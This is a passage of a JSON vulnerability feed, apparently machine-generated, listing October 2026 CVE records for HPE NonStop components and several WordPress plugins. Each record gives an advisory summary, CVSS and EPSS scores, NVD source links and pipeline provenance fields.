fixes.","publishedAt":"2026-10-15T13:17:10.617Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104025","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00159,"percentile":0.05045,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104025","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104025","type":"primary","publishedAt":"2026-10-15T13:17:10.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79834","cveId":"CVE-2026-79834","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution.","summary":"A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution.","detail":"A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T12:16:39.497Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79834","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00567,"percentile":0.4675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79834","type":"primary","publishedAt":"2026-10-15T12:16:39.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79833","cveId":"CVE-2026-79833","aliases":[],"kind":"vulnerability","title":"A vulnerability in HPE NonStop ANSI SQLUTIL may allow a remote unauthenticated actor to cause an affected service to terminate unexpectedly, causing a denial of service.","summary":"A vulnerability in HPE NonStop ANSI SQLUTIL may allow a remote unauthenticated actor to cause an affected service to terminate unexpectedly, causing a denial of service.","detail":"A vulnerability in HPE NonStop ANSI SQLUTIL may allow a remote unauthenticated actor to cause an affected service to terminate unexpectedly, causing a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T11:17:50.433Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79833","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00263,"percentile":0.17912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79833&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79833","type":"primary","publishedAt":"2026-10-15T11:17:50.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79833&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79833, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79832","cveId":"CVE-2026-79832","aliases":[],"kind":"vulnerability","title":"A stack buffer overflow vulnerability in HPE NonStop SQL/MX Executor may potentially result in information disclosure or process crash.","summary":"A stack buffer overflow vulnerability in HPE NonStop SQL/MX Executor may potentially result in information disclosure or process crash.","detail":"A stack buffer overflow vulnerability in HPE NonStop SQL/MX Executor may potentially result in information disclosure or process crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T11:17:50.313Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79832","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00188,"percentile":0.08356,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79832","type":"primary","publishedAt":"2026-10-15T11:17:50.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109695","cveId":"CVE-2026-109695","aliases":[],"kind":"vulnerability","title":"Insertion of Sensitive Information Into Sent Data vulnerability in WPManageNinja FluentCart fluent-cart allows Retrieve Embedded Sensitive Data.This issue affects FluentCart: from...","summary":"Insertion of Sensitive Information Into Sent Data vulnerability in WPManageNinja FluentCart fluent-cart allows Retrieve Embedded Sensitive Data.This issue affects FluentCart: from n/a through 1.7.1.","detail":"Insertion of Sensitive Information Into Sent Data vulnerability in WPManageNinja FluentCart fluent-cart allows Retrieve Embedded Sensitive Data.This issue affects FluentCart: from n/a through 1.7.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T11:17:27.113Z","updatedAt":"2026-10-15T16:17:44.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109695","asOf":"2026-10-15T16:17:44.490Z"},"epss":{"probability":0.00238,"percentile":0.14689,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109695","type":"primary","publishedAt":"2026-10-15T11:17:27.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108498","cveId":"CVE-2026-108498","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Stored XSS.This issue...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Stored XSS.This issue affects BSK PDF Manager: from n/a through 3.8.1.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Stored XSS.This issue affects BSK PDF Manager: from n/a through 3.8.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T11:17:19.957Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108498","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00142,"percentile":0.03457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108498&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108498","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108498","type":"primary","publishedAt":"2026-10-15T11:17:19.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108498&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108498, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108491","cveId":"CVE-2026-108491","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Everest Forms Everest Forms everest-forms allows Stored XSS.This issue...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Everest Forms Everest Forms everest-forms allows Stored XSS.This issue affects Everest Forms: from n/a through 3.6.1.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Everest Forms Everest Forms everest-forms allows Stored XSS.This issue affects Everest Forms: from n/a through 3.6.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T11:17:19.677Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108491","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00142,"percentile":0.03461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108491&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108491","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108491","type":"primary","publishedAt":"2026-10-15T11:17:19.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108491&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108491, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79829","cveId":"CVE-2026-79829","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE NonStop HTTP WEBSERVER can cause memory corruption which may result in a system halt.","summary":"A security vulnerability in HPE NonStop HTTP WEBSERVER can cause memory corruption which may result in a system halt.","detail":"A security vulnerability in HPE NonStop HTTP WEBSERVER can cause memory corruption which may result in a system halt.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:16.083Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79829","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00282,"percentile":0.20552,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79829&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79829","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79829","type":"primary","publishedAt":"2026-10-15T10:17:16.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79829&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79829, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79828","cveId":"CVE-2026-79828","aliases":[],"kind":"vulnerability","title":"A heap buffer overflow in HPE NonStop Debug Utilities  could corrupt resume-execution address and may potentially redirect execution flow.","summary":"A heap buffer overflow in HPE NonStop Debug Utilities  could corrupt resume-execution address and may potentially redirect execution flow.","detail":"A heap buffer overflow in HPE NonStop Debug Utilities  could corrupt resume-execution address and may potentially redirect execution flow.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:15.963Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79828","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00113,"percentile":0.01391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79828&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79828","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79828","type":"primary","publishedAt":"2026-10-15T10:17:15.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79828&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79828, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79827","cveId":"CVE-2026-79827","aliases":[],"kind":"vulnerability","title":"A heap buffer overflow in HPE NonStop Inspect Subsystem could corrupt resume-execution address and may potentially redirect execution flow.","summary":"A heap buffer overflow in HPE NonStop Inspect Subsystem could corrupt resume-execution address and may potentially redirect execution flow.","detail":"A heap buffer overflow in HPE NonStop Inspect Subsystem could corrupt resume-execution address and may potentially redirect execution flow.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:15.840Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79827","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00112,"percentile":0.01368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79827","type":"primary","publishedAt":"2026-10-15T10:17:15.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79826","cveId":"CVE-2026-79826","aliases":[],"kind":"vulnerability","title":"A heap buffer overflow in HPE NonStop OCAX could corrupt address space and may potentially redirect execution flow.","summary":"A heap buffer overflow in HPE NonStop OCAX could corrupt address space and may potentially redirect execution flow.","detail":"A heap buffer overflow in HPE NonStop OCAX could corrupt address space and may potentially redirect execution flow.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:15.727Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79826","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00112,"percentile":0.01368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79826&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79826","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79826","type":"primary","publishedAt":"2026-10-15T10:17:15.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79826&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79826, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79825","cveId":"CVE-2026-79825","aliases":[],"kind":"vulnerability","title":"A heap buffer overflow in HPE NonStop NDSREST could corrupt resume-execution address and may potentially redirect execution flow.","summary":"A heap buffer overflow in HPE NonStop NDSREST could corrupt resume-execution address and may potentially redirect execution flow.","detail":"A heap buffer overflow in HPE NonStop NDSREST could corrupt resume-execution address and may potentially redirect execution flow.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:15.607Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79825","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00112,"percentile":0.01368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79825&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79825","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79825","type":"primary","publishedAt":"2026-10-15T10:17:15.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79825&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79825, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79824","cveId":"CVE-2026-79824","aliases":[],"kind":"vulnerability","title":"A directory traversal vulnerability in HPE NonStop Python 3.x could allow  attackers to overwrite arbitrary files via a ..","summary":"A directory traversal vulnerability in HPE NonStop Python 3.x could allow  attackers to overwrite arbitrary files via a .. (dot dot) sequence in filenames in a TAR archive.","detail":"A directory traversal vulnerability in HPE NonStop Python 3.x could allow  attackers to overwrite arbitrary files via a .. (dot dot) sequence in filenames in a TAR archive.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 